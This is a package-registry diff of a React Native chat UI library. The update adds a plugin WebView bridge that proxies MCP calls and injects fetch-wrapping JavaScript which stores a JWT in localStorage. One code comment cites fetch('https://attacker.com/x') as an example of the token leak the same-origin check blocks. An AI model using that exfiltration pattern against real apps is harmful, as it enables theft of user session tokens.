@ateam-ai-mobile/ui 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.mjs CHANGED
@@ -1,20 +1,20 @@
1
1
  // src/AdasChatScreen.tsx
2
- import { useCallback as useCallback3, useEffect as useEffect3, useMemo, useRef as useRef3, useState as useState4 } from "react";
2
+ import { useCallback as useCallback5, useEffect as useEffect6, useMemo as useMemo3, useRef as useRef4, useState as useState6 } from "react";
3
3
  import {
4
4
  FlatList,
5
5
  KeyboardAvoidingView,
6
- Platform as Platform5,
6
+ Platform as Platform6,
7
7
  RefreshControl,
8
- StyleSheet as StyleSheet8,
9
- View as View8
8
+ StyleSheet as StyleSheet10,
9
+ View as View11
10
10
  } from "react-native";
11
- import { ada as ada5, useChatStore, pluginCommandEmitter } from "@ateam-ai-mobile/core";
11
+ import { ada as ada7, useChatStore, pluginCommandEmitter as pluginCommandEmitter3 } from "@ateam-ai-mobile/core";
12
12
 
13
13
  // src/chat/MessageBubble.tsx
14
- import { useState as useState2, useCallback } from "react";
15
- import { View as View4, Text as Text4, Pressable as Pressable2, StyleSheet as StyleSheet4, Image, Platform as Platform3 } from "react-native";
14
+ import { useState as useState4, useCallback as useCallback3 } from "react";
15
+ import { View as View7, Text as Text6, Pressable as Pressable3, StyleSheet as StyleSheet6, Image, Platform as Platform4 } from "react-native";
16
16
  import Markdown from "react-native-markdown-display";
17
- import { TABLE_BLOCK_OPEN, TABLE_BLOCK_CLOSE, getConfig, ada as ada4, borderRadius as borderRadius3, fontSize as fontSize4 } from "@ateam-ai-mobile/core";
17
+ import { TABLE_BLOCK_OPEN, TABLE_BLOCK_CLOSE, getConfig as getConfig2, ada as ada6, borderRadius as borderRadius3, fontSize as fontSize4 } from "@ateam-ai-mobile/core";
18
18
  import { AdaOrb, getHaptics as getHaptics2 } from "@ateam-ai-mobile/plugin-runtime";
19
19
 
20
20
  // src/chat/JobProgressBar.tsx
@@ -182,9 +182,9 @@ var styles = StyleSheet.create({
182
182
  });
183
183
 
184
184
  // src/chat/UIActionsRow.tsx
185
- import { View as View2, Text as Text2, Pressable, StyleSheet as StyleSheet2, Platform } from "react-native";
186
- import { ada as ada2, fontSize as fontSize2 } from "@ateam-ai-mobile/core";
187
- import { useSurfaceStore, getHaptics } from "@ateam-ai-mobile/plugin-runtime";
185
+ import { View as View5, Text as Text4, Pressable as Pressable2, StyleSheet as StyleSheet4, Platform as Platform2 } from "react-native";
186
+ import { ada as ada4, fontSize as fontSize2 } from "@ateam-ai-mobile/core";
187
+ import { useSurfaceStore as useSurfaceStore2, getHaptics } from "@ateam-ai-mobile/plugin-runtime";
188
188
 
189
189
  // src/providers.ts
190
190
  var _clipboard = null;
@@ -201,1503 +201,1562 @@ function setUIActionNavigator(navigate) {
201
201
  function getUIActionNavigator() {
202
202
  return _navigator;
203
203
  }
204
+ var _extraHosts = null;
205
+ function setPluginWebViewExtraHosts(getter) {
206
+ _extraHosts = getter;
207
+ }
208
+ function getPluginWebViewExtraHosts() {
209
+ return _extraHosts;
210
+ }
204
211
 
205
- // src/chat/UIActionsRow.tsx
206
- import { jsx as jsx2, jsxs as jsxs2 } from "react/jsx-runtime";
207
- var fontFam = Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
208
- var ICON_MAP = {
209
- timer: "\u23F1",
210
- memory: "\u{1F9E0}",
211
- calendar: "\u{1F4C5}",
212
- home: "\u{1F3E0}",
213
- bell: "\u{1F514}",
214
- star: "\u2B50",
215
- bolt: "\u26A1"
216
- };
217
- function UIActionsRow({ actions }) {
218
- if (!Array.isArray(actions) || actions.length === 0) return null;
219
- const handlePress = (a) => {
220
- getHaptics()?.selection();
221
- const id = a.pluginId || a.target;
222
- if (!id) return;
223
- const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
224
- const surface = useSurfaceStore.getState().manifests[id];
225
- if (surface) {
226
- useSurfaceStore.getState().show(id, focus ? { focus } : void 0);
227
- return;
228
- }
229
- const params = {};
230
- if (focus) params.focus = String(focus);
231
- if (a.intent === "suggested_action" && a.payload?.tool) {
232
- params.tool = String(a.payload.tool);
233
- if (a.payload?.args) {
212
+ // src/plugin/WidgetHost.tsx
213
+ import { useEffect as useEffect4 } from "react";
214
+ import { create } from "zustand";
215
+ import { pluginCommandEmitter as pluginCommandEmitter2 } from "@ateam-ai-mobile/core";
216
+ import { useSurfaceStore } from "@ateam-ai-mobile/plugin-runtime";
217
+
218
+ // src/plugin/PluginSurface.tsx
219
+ import { useEffect as useEffect3, useState as useState3 } from "react";
220
+ import { View as View4, ActivityIndicator as ActivityIndicator3 } from "react-native";
221
+ import { ada as ada3 } from "@ateam-ai-mobile/core";
222
+ import {
223
+ getPlugin,
224
+ SurfaceDrawer,
225
+ SurfaceFullscreen
226
+ } from "@ateam-ai-mobile/plugin-runtime";
227
+
228
+ // src/plugin/Plugin.tsx
229
+ import React, { useMemo as useMemo2 } from "react";
230
+ import { View as View3, Text as Text3, Pressable, ActivityIndicator as ActivityIndicator2, StyleSheet as StyleSheet3 } from "react-native";
231
+ import { getTenant as getTenant3, getUser, colors } from "@ateam-ai-mobile/core";
232
+ import {
233
+ usePlugin,
234
+ useNativeBridge,
235
+ usePluginTheme,
236
+ getPluginNative,
237
+ gatePluginNative
238
+ } from "@ateam-ai-mobile/plugin-runtime";
239
+
240
+ // src/plugin/EmbeddedPluginWebView.tsx
241
+ import { useState as useState2, useMemo, useCallback as useCallback2 } from "react";
242
+ import { View as View2, Text as Text2, ActivityIndicator, StyleSheet as StyleSheet2, Platform } from "react-native";
243
+ import { WebView } from "react-native-webview";
244
+ import { getConfig, getCoreApiUrl, getVoiceApiUrl, getTenant as getTenant2, getToken, ada as ada2 } from "@ateam-ai-mobile/core";
245
+ import { resolvePluginUrl } from "@ateam-ai-mobile/plugin-runtime";
246
+
247
+ // src/plugin/usePluginBridge.ts
248
+ import { useCallback, useEffect as useEffect2, useRef as useRef2 } from "react";
249
+ import {
250
+ getTenant,
251
+ connectorCall,
252
+ mcpFetch,
253
+ mcpToolCall,
254
+ postCommandResult,
255
+ pluginCommandEmitter
256
+ } from "@ateam-ai-mobile/core";
257
+ function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
258
+ const webViewRef = useRef2(null);
259
+ const sendInit = useCallback(() => {
260
+ const msg = JSON.stringify({
261
+ source: "adas-host",
262
+ pluginId,
263
+ message: {
264
+ type: "init",
265
+ payload: {
266
+ tenant: getTenant(),
267
+ connectorId: connectorId || null,
268
+ mcpEndpoint: null,
269
+ slug: null,
270
+ skillSlug: null
271
+ }
272
+ }
273
+ });
274
+ webViewRef.current?.postMessage(msg);
275
+ }, [pluginId, connectorId]);
276
+ const sendToPlugin = useCallback(
277
+ (type, payload) => {
278
+ const msg = JSON.stringify({
279
+ source: "adas-host",
280
+ message: { type, payload }
281
+ });
282
+ webViewRef.current?.postMessage(msg);
283
+ },
284
+ []
285
+ );
286
+ const dispatchToWebView = useCallback((cmd) => {
287
+ if (cmd.command === "__focus") return;
288
+ const msg = JSON.stringify({
289
+ source: "adas-host",
290
+ pluginId,
291
+ message: {
292
+ type: "plugin.command",
293
+ payload: {
294
+ command: cmd.command,
295
+ args: cmd.args,
296
+ correlationId: cmd.correlationId
297
+ }
298
+ }
299
+ });
300
+ webViewRef.current?.postMessage(msg);
301
+ }, [pluginId]);
302
+ useEffect2(() => {
303
+ const unsub = pluginCommandEmitter.on("plugin-command", (cmd) => {
304
+ if (cmd.pluginId !== pluginId) return;
305
+ dispatchToWebView(cmd);
306
+ });
307
+ return unsub;
308
+ }, [pluginId, dispatchToWebView]);
309
+ useEffect2(() => {
310
+ if (!commandBufferRef) return;
311
+ const timer = setTimeout(() => {
312
+ const buf = commandBufferRef.current;
313
+ const remaining = [];
314
+ for (const cmd of buf) {
315
+ if (cmd.pluginId === pluginId) {
316
+ dispatchToWebView(cmd);
317
+ } else {
318
+ remaining.push(cmd);
319
+ }
320
+ }
321
+ commandBufferRef.current = remaining;
322
+ }, 1e3);
323
+ return () => clearTimeout(timer);
324
+ }, [pluginId, commandBufferRef, dispatchToWebView]);
325
+ const handleMessage = useCallback(
326
+ async (event) => {
327
+ let data;
328
+ try {
329
+ data = JSON.parse(event.nativeEvent.data);
330
+ } catch {
331
+ return;
332
+ }
333
+ if (data.source !== "adas-plugin") return;
334
+ const action = data.message?.action || data.action;
335
+ const payload = data.message?.payload || data.payload;
336
+ const type = data.message?.type || data.type;
337
+ if (action === "mcp-fetch" && payload?.requestId) {
338
+ const { requestId, body } = payload;
234
339
  try {
235
- params.args = JSON.stringify(a.payload.args);
236
- } catch {
340
+ const result = await mcpFetch(body);
341
+ sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
342
+ } catch (err) {
343
+ console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
344
+ sendToPlugin("mcp-fetch-result", { requestId, result: null, error: err.message });
237
345
  }
346
+ return;
238
347
  }
239
- }
240
- if (a.intent === "quick_toggle" && a.payload?.verb) {
241
- params.verb = String(a.payload.verb);
242
- }
243
- const navigate = getUIActionNavigator();
244
- if (!navigate) {
245
- console.warn("[UIActionsRow] no navigator registered \u2014 call setUIActionNavigator() in the host to handle plugin chips");
246
- return;
247
- }
248
- navigate({ pluginId: id, params });
348
+ if (action === "mcp-call" && payload?.requestId) {
349
+ const { requestId, toolName, args: callArgs } = payload;
350
+ if (toolName) {
351
+ try {
352
+ const rpcResponse = await mcpToolCall(toolName, callArgs || {});
353
+ const result = rpcResponse?.result ?? rpcResponse;
354
+ sendToPlugin("mcp-result", { requestId, result, error: null });
355
+ } catch (err) {
356
+ sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
357
+ }
358
+ return;
359
+ }
360
+ const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
361
+ const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
362
+ const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
363
+ if (!cId || !tool) {
364
+ console.error(`[PluginBridge] mcp-call missing params \u2014 connectorId: ${cId}, tool: ${tool}`);
365
+ sendToPlugin("mcp-result", { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
366
+ return;
367
+ }
368
+ try {
369
+ const data2 = await connectorCall(cId, tool, toolArgs);
370
+ if (data2.ok) {
371
+ sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
372
+ } else {
373
+ sendToPlugin("mcp-result", { requestId, result: null, error: data2.error || "MCP call failed" });
374
+ }
375
+ } catch (err) {
376
+ sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
377
+ }
378
+ return;
379
+ }
380
+ if (action === "close") {
381
+ pluginCommandEmitter.emit("plugin-close", { pluginId });
382
+ return;
383
+ }
384
+ if (type === "plugin.command.result" && payload?.correlationId) {
385
+ const ws = wsRef?.current;
386
+ if (ws && ws.readyState === WebSocket.OPEN) {
387
+ try {
388
+ ws.send(JSON.stringify({
389
+ type: "plugin-command-result",
390
+ correlationId: payload.correlationId,
391
+ result: payload.result,
392
+ error: payload.error
393
+ }));
394
+ } catch (err) {
395
+ console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
396
+ await postCommandResult(payload.correlationId, payload.result, payload.error).catch(() => {
397
+ });
398
+ }
399
+ } else {
400
+ try {
401
+ await postCommandResult(payload.correlationId, payload.result, payload.error);
402
+ } catch (err) {
403
+ console.warn("[PluginBridge] Failed to send command result:", err.message);
404
+ }
405
+ }
406
+ return;
407
+ }
408
+ },
409
+ [sendToPlugin]
410
+ );
411
+ return {
412
+ webViewRef,
413
+ sendInit,
414
+ handleMessage
249
415
  };
250
- return /* @__PURE__ */ jsx2(View2, { style: styles2.row, children: actions.map((a, i) => {
251
- const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
252
- return /* @__PURE__ */ jsxs2(
253
- Pressable,
254
- {
255
- accessibilityRole: "button",
256
- accessibilityLabel: a.description || a.label,
257
- onPress: () => handlePress(a),
258
- style: ({ pressed }) => [styles2.chip, pressed && styles2.chipPressed],
259
- children: [
260
- icon ? /* @__PURE__ */ jsx2(Text2, { style: styles2.icon, children: icon }) : null,
261
- /* @__PURE__ */ jsx2(Text2, { style: styles2.label, numberOfLines: 1, children: a.label })
262
- ]
263
- },
264
- `${a.target || "a"}-${i}`
265
- );
266
- }) });
267
416
  }
268
- var styles2 = StyleSheet2.create({
269
- row: {
270
- flexDirection: "row",
271
- flexWrap: "wrap",
272
- gap: 6,
273
- marginTop: 10
274
- },
275
- chip: {
276
- flexDirection: "row",
277
- alignItems: "center",
278
- gap: 6,
279
- paddingHorizontal: 12,
280
- paddingVertical: 6,
281
- backgroundColor: ada2.orangeSoft,
282
- borderColor: ada2.orange,
283
- borderWidth: 1,
284
- borderRadius: 14
285
- },
286
- chipPressed: {
287
- backgroundColor: ada2.orange
288
- },
289
- icon: {
290
- fontSize: 12,
291
- lineHeight: 14
292
- },
293
- label: {
294
- color: ada2.orangeDeep,
295
- fontSize: fontSize2.xs,
296
- fontWeight: "600",
297
- fontFamily: fontFam
417
+ function buildPluginBridgeJS(jwt, tenant) {
418
+ return `
419
+ (function() {
420
+ function _dbg(msg) {
421
+ console.log('[PluginBridge] ' + msg);
298
422
  }
299
- });
300
423
 
301
- // src/chat/TableCardBlock.tsx
302
- import { View as View3, Text as Text3, StyleSheet as StyleSheet3, Platform as Platform2 } from "react-native";
303
- import { ada as ada3, borderRadius as borderRadius2, fontSize as fontSize3, spacing } from "@ateam-ai-mobile/core";
304
- import { jsx as jsx3, jsxs as jsxs3 } from "react/jsx-runtime";
305
- var fontFam2 = Platform2.OS === "ios" ? "SF Pro Rounded" : void 0;
306
- function TableCardBlock({ columns, rows }) {
307
- if (!columns?.length || !rows?.length) return null;
308
- const [titleCol, ...detailCols] = columns;
309
- return /* @__PURE__ */ jsx3(View3, { style: styles3.wrap, children: rows.map((row, i) => {
310
- const cells = Array.isArray(row) ? row : [row];
311
- const title = cells[0];
312
- return /* @__PURE__ */ jsxs3(View3, { style: styles3.card, children: [
313
- /* @__PURE__ */ jsx3(Text3, { style: styles3.title, children: String(title ?? "") }),
314
- detailCols.length > 0 && /* @__PURE__ */ jsx3(View3, { style: styles3.details, children: detailCols.map((col, ci) => {
315
- const value = cells[ci + 1];
316
- if (value == null || value === "") return null;
317
- return /* @__PURE__ */ jsxs3(View3, { style: styles3.row, children: [
318
- /* @__PURE__ */ jsx3(Text3, { style: styles3.label, children: String(col) }),
319
- /* @__PURE__ */ jsx3(Text3, { style: styles3.value, children: String(value) })
320
- ] }, ci);
321
- }) })
322
- ] }, i);
323
- }) });
324
- }
325
- var styles3 = StyleSheet3.create({
326
- wrap: {
327
- marginVertical: 6,
328
- gap: 8
329
- },
330
- card: {
331
- backgroundColor: ada3.paper,
332
- borderRadius: borderRadius2.md,
333
- borderWidth: 1,
334
- borderColor: ada3.border,
335
- padding: spacing.md
336
- },
337
- title: {
338
- color: ada3.ink,
339
- fontSize: fontSize3.md,
340
- fontWeight: "600",
341
- fontFamily: fontFam2,
342
- letterSpacing: -0.2,
343
- marginBottom: 6
344
- },
345
- details: {
346
- gap: 4
347
- },
348
- row: {
349
- flexDirection: "row",
350
- alignItems: "flex-start",
351
- gap: 8
352
- },
353
- label: {
354
- color: ada3.inkMuted,
355
- fontSize: fontSize3.xs,
356
- fontFamily: fontFam2,
357
- fontWeight: "500",
358
- width: 84,
359
- textTransform: "uppercase",
360
- letterSpacing: 0.6,
361
- paddingTop: 2
362
- },
363
- value: {
364
- flex: 1,
365
- color: ada3.inkSoft,
366
- fontSize: fontSize3.sm,
367
- fontFamily: fontFam2,
368
- lineHeight: 18
369
- }
370
- });
424
+ // 1. Seed localStorage. JWT is required by web-shared plugin code
425
+ // (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
426
+ // lives in EmbeddedPluginWebView (originWhitelist +
427
+ // onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
428
+ try {
429
+ localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
430
+ localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
431
+ _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
432
+ } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
371
433
 
372
- // src/stores/lightboxStore.ts
373
- import { create } from "zustand";
374
- var useLightboxStore = create((set) => ({
375
- uri: null,
376
- show: (uri) => set({ uri }),
377
- hide: () => set({ uri: null })
378
- }));
434
+ // 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
435
+ var _origFetch = window.fetch.bind(window);
436
+ var _mcpReqId = 0;
437
+ var _pendingMcp = {};
379
438
 
380
- // src/chat/MessageBubble.tsx
381
- import { Fragment, jsx as jsx4, jsxs as jsxs4 } from "react/jsx-runtime";
382
- var fontFam3 = Platform3.OS === "ios" ? "SF Pro Rounded" : void 0;
383
- function formatTime(date) {
384
- const h = date.getHours();
385
- const m = date.getMinutes().toString().padStart(2, "0");
386
- return `${h}:${m}`;
387
- }
388
- function DaySeparator({ date }) {
389
- const today = /* @__PURE__ */ new Date();
390
- const yesterday = new Date(today);
391
- yesterday.setDate(yesterday.getDate() - 1);
392
- let label;
393
- if (isSameDay(date, today)) {
394
- label = "Today";
395
- } else if (isSameDay(date, yesterday)) {
396
- label = "Yesterday";
397
- } else {
398
- label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
399
- }
400
- return /* @__PURE__ */ jsx4(View4, { style: separatorStyles.container, children: /* @__PURE__ */ jsx4(View4, { style: separatorStyles.pill, children: /* @__PURE__ */ jsx4(Text4, { style: separatorStyles.text, children: label }) }) });
401
- }
402
- function isSameDay(a, b) {
403
- return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
404
- }
405
- var separatorStyles = StyleSheet4.create({
406
- container: {
407
- alignItems: "center",
408
- marginVertical: 14
409
- },
410
- pill: {
411
- backgroundColor: ada4.paperSoft,
412
- paddingHorizontal: 14,
413
- paddingVertical: 5,
414
- borderRadius: 999
415
- },
416
- text: {
417
- fontSize: 12,
418
- fontWeight: "600",
419
- color: ada4.inkMuted,
420
- letterSpacing: 0.4,
421
- fontFamily: fontFam3
422
- }
423
- });
424
- function MessageBubble({ message }) {
425
- const isUser = message.role === "user";
426
- const isSystem = message.role === "system";
427
- const isNotification = !isUser && message.kind === "notification";
428
- const [copied, setCopied] = useState2("");
429
- const showCopied = useCallback((label) => {
430
- setCopied(label);
431
- getHaptics2()?.notification("success");
432
- setTimeout(() => setCopied(""), 1500);
433
- }, []);
434
- const copyText = useCallback(async (text) => {
435
- const clipboard = getClipboard();
436
- if (!clipboard) return;
437
- await clipboard.setString(text);
438
- showCopied("Copied!");
439
- }, [showCopied]);
440
- const handleLongPress = useCallback(() => {
441
- copyText(message.content);
442
- }, [message.content, copyText]);
443
- return /* @__PURE__ */ jsxs4(View4, { style: [styles4.row, isUser && styles4.rowUser], children: [
444
- !isUser && !isNotification && /* @__PURE__ */ jsx4(View4, { style: styles4.avatarOrb, children: /* @__PURE__ */ jsx4(
445
- AdaOrb,
446
- {
447
- size: 28,
448
- state: message.jobProgress?.status === "running" ? "thinking" : "idle"
449
- }
450
- ) }),
451
- isNotification && /* @__PURE__ */ jsx4(View4, { style: styles4.notificationLeftStripe }),
452
- /* @__PURE__ */ jsxs4(
453
- Pressable2,
454
- {
455
- accessibilityRole: "text",
456
- accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
457
- accessibilityHint: "Long-press to copy",
458
- onLongPress: handleLongPress,
459
- style: [
460
- styles4.bubble,
461
- isUser && styles4.bubbleUser,
462
- isSystem && styles4.bubbleSystem,
463
- isNotification && styles4.bubbleNotification
464
- ],
465
- children: [
466
- isNotification && /* @__PURE__ */ jsxs4(View4, { style: styles4.notificationHeader, children: [
467
- /* @__PURE__ */ jsx4(Text4, { style: styles4.notificationHeaderIcon, children: "\u{1F514}" }),
468
- /* @__PURE__ */ jsx4(Text4, { style: styles4.notificationHeaderText, children: "Notification" })
469
- ] }),
470
- message.attachments && message.attachments.length > 0 && /* @__PURE__ */ jsx4(View4, { style: styles4.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ jsx4(
471
- Pressable2,
472
- {
473
- accessibilityRole: "imagebutton",
474
- accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
475
- onPress: () => useLightboxStore.getState().show(att.previewUri),
476
- children: /* @__PURE__ */ jsx4(
477
- Image,
478
- {
479
- source: {
480
- uri: att.previewUri,
481
- ...att.previewUri.startsWith("http") ? {
482
- headers: { Authorization: `Bearer ${getConfig().tokenProvider.getToken()}` }
483
- } : {}
484
- },
485
- style: styles4.attachmentImage,
486
- resizeMode: "cover",
487
- onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
488
- }
489
- )
490
- },
491
- i
492
- ) : /* @__PURE__ */ jsx4(View4, { style: styles4.attachmentFile, children: /* @__PURE__ */ jsx4(Text4, { style: styles4.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
493
- isUser ? (
494
- // Hide the "See attachment" placeholder when the bubble already shows the photo.
495
- message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ jsx4(Text4, { selectable: true, style: styles4.userText, children: message.content }) : null
496
- ) : renderAssistantContent(message.content, copyText),
497
- !!copied && /* @__PURE__ */ jsx4(View4, { style: styles4.copiedBadge, children: /* @__PURE__ */ jsx4(Text4, { style: styles4.copiedText, children: copied }) }),
498
- message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ jsx4(ToolCallsBadge, { calls: message.toolCalls }),
499
- message.jobProgress && /* @__PURE__ */ jsx4(JobProgressBar, { progress: message.jobProgress }),
500
- !isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ jsx4(UIActionsRow, { actions: message.actions }),
501
- /* @__PURE__ */ jsx4(Text4, { style: [styles4.timeText, isUser && styles4.timeTextUser], children: formatTime(message.timestamp) })
502
- ]
503
- }
504
- ),
505
- isUser && /* @__PURE__ */ jsx4(View4, { style: styles4.avatarSpacer })
506
- ] });
507
- }
508
- function renderAssistantContent(content, copyText) {
509
- if (!content) return null;
510
- if (!content.includes(TABLE_BLOCK_OPEN)) {
511
- return /* @__PURE__ */ jsx4(MarkdownBubble, { content, copyText });
512
- }
513
- const segments = [];
514
- let cursor = 0;
515
- while (cursor < content.length) {
516
- const open = content.indexOf(TABLE_BLOCK_OPEN, cursor);
517
- if (open === -1) {
518
- segments.push({ kind: "md", content: content.slice(cursor) });
519
- break;
520
- }
521
- if (open > cursor) {
522
- segments.push({ kind: "md", content: content.slice(cursor, open) });
523
- }
524
- const close = content.indexOf(TABLE_BLOCK_CLOSE, open + TABLE_BLOCK_OPEN.length);
525
- if (close === -1) {
526
- segments.push({ kind: "md", content: content.slice(open) });
527
- break;
528
- }
529
- const payload = content.slice(open + TABLE_BLOCK_OPEN.length, close);
530
- segments.push({ kind: "table", content: payload });
531
- cursor = close + TABLE_BLOCK_CLOSE.length;
532
- }
533
- return /* @__PURE__ */ jsx4(Fragment, { children: segments.map((seg, i) => {
534
- if (seg.kind === "md") {
535
- const trimmed = seg.content.trim();
536
- if (!trimmed) return null;
537
- return /* @__PURE__ */ jsx4(MarkdownBubble, { content: seg.content, copyText }, i);
439
+ window.fetch = function(url, opts) {
440
+ var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
441
+ var method = (opts && opts.method) || 'GET';
442
+
443
+ _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
444
+
445
+ // Intercept /mcp calls
446
+ if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
447
+ _dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');
448
+ return new Promise(function(resolve, reject) {
449
+ var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
450
+ _pendingMcp[requestId] = { resolve: resolve, reject: reject };
451
+ window.ReactNativeWebView.postMessage(JSON.stringify({
452
+ source: 'adas-plugin',
453
+ action: 'mcp-fetch',
454
+ payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
455
+ }));
456
+ setTimeout(function() {
457
+ if (_pendingMcp[requestId]) {
458
+ delete _pendingMcp[requestId];
459
+ _dbg('TIMEOUT mcp-fetch ' + requestId);
460
+ reject(new Error('MCP fetch timeout (30s)'));
461
+ }
462
+ }, 30000);
463
+ });
538
464
  }
465
+
466
+ // Inject Authorization header ONLY for same-origin requests. A relative
467
+ // path resolves against window.location.origin; an absolute URL must
468
+ // literally match. This stops a plugin from leaking the JWT to a foreign
469
+ // host via fetch('https://attacker.com/x') or via <base href>.
470
+ var sameOrigin = false;
539
471
  try {
540
- const data = JSON.parse(decodeURIComponent(seg.content));
541
- return /* @__PURE__ */ jsx4(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
542
- } catch {
543
- return null;
472
+ var resolved = new URL(urlStr, window.location.origin);
473
+ sameOrigin = (resolved.origin === window.location.origin);
474
+ } catch (_) { sameOrigin = false; }
475
+ if (sameOrigin) {
476
+ opts = Object.assign({}, opts || {});
477
+ var h = opts.headers;
478
+ if (h instanceof Headers) {
479
+ if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
480
+ } else {
481
+ h = Object.assign({}, h || {});
482
+ if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
483
+ opts.headers = h;
484
+ }
544
485
  }
545
- }) });
546
- }
547
- function MarkdownBubble({ content, copyText }) {
548
- return /* @__PURE__ */ jsx4(
549
- Markdown,
550
- {
551
- style: markdownStyles,
552
- rules: {
553
- code_inline: (node) => /* @__PURE__ */ jsx4(
554
- Text4,
555
- {
556
- style: markdownStyles.code_inline,
557
- onPress: () => copyText(node.content),
558
- children: node.content
559
- },
560
- node.key
561
- ),
562
- fence: (node) => /* @__PURE__ */ jsx4(
563
- Pressable2,
564
- {
565
- onPress: () => copyText(node.content),
566
- style: markdownStyles.fence,
567
- children: /* @__PURE__ */ jsx4(Text4, { style: markdownStyles.fenceText, children: node.content })
568
- },
569
- node.key
570
- )
571
- },
572
- children: content
486
+
487
+ return _origFetch(url, opts).then(function(res) {
488
+ _dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));
489
+ return res;
490
+ }).catch(function(err) {
491
+ _dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
492
+ throw err;
493
+ });
494
+ };
495
+
496
+ // Handle results from RN host
497
+ function _handleHostMessage(d) {
498
+ if (!d || d.source !== 'adas-host') return;
499
+ var msg = d.message || {};
500
+
501
+ // mcp-fetch-result: response to intercepted fetch("/mcp")
502
+ if (msg.type === 'mcp-fetch-result' && msg.payload) {
503
+ var p = msg.payload;
504
+ var pending = _pendingMcp[p.requestId];
505
+ if (pending) {
506
+ delete _pendingMcp[p.requestId];
507
+ if (p.error) {
508
+ pending.reject(new Error(p.error));
509
+ } else {
510
+ pending.resolve(new Response(JSON.stringify(p.result), {
511
+ status: 200,
512
+ headers: { 'Content-Type': 'application/json' }
513
+ }));
514
+ }
515
+ }
573
516
  }
574
- );
517
+ }
518
+
519
+ // 3. Override window.parent.postMessage (plugins use this in iframes)
520
+ window.parent = window.parent || {};
521
+ window.parent.postMessage = function(data, origin) {
522
+ if (data && data.source === 'adas-plugin') {
523
+ window.ReactNativeWebView.postMessage(JSON.stringify(data));
524
+ }
525
+ };
526
+
527
+ // 4. Also intercept direct window.postMessage
528
+ var origPost = window.postMessage.bind(window);
529
+ window.postMessage = function(data, origin) {
530
+ if (data && data.source === 'adas-plugin') {
531
+ window.ReactNativeWebView.postMessage(JSON.stringify(data));
532
+ }
533
+ origPost(data, origin);
534
+ };
535
+
536
+ // 5. Forward messages from RN host -> plugin
537
+ // iOS: window 'message' event, Android: document 'message' event
538
+ window.addEventListener('message', function(e) {
539
+ try {
540
+ var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
541
+ if (d && d.source === 'adas-host') {
542
+ _handleHostMessage(d);
543
+ if (typeof e.data === 'string') {
544
+ window.dispatchEvent(new MessageEvent('message', { data: d }));
545
+ }
546
+ }
547
+ } catch(_) {}
548
+ });
549
+
550
+ document.addEventListener('message', function(e) {
551
+ try {
552
+ var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
553
+ _handleHostMessage(d);
554
+ window.dispatchEvent(new MessageEvent('message', { data: d }));
555
+ } catch(_) {}
556
+ });
557
+
558
+ _dbg('Bridge JS loaded. Waiting for plugin...');
559
+ true;
560
+ })();
561
+ `;
575
562
  }
576
- function ToolCallsBadge({ calls }) {
577
- const [expanded, setExpanded] = useState2(false);
578
- const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
579
- return /* @__PURE__ */ jsxs4(View4, { style: styles4.toolCalls, children: [
580
- /* @__PURE__ */ jsxs4(Pressable2, { style: styles4.toolToggle, onPress: () => setExpanded(!expanded), children: [
581
- /* @__PURE__ */ jsx4(Text4, { style: styles4.toolLabel, children: label }),
582
- /* @__PURE__ */ jsx4(Text4, { style: styles4.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
583
- ] }),
584
- expanded && calls.map((tc, i) => /* @__PURE__ */ jsxs4(View4, { style: styles4.toolItem, children: [
585
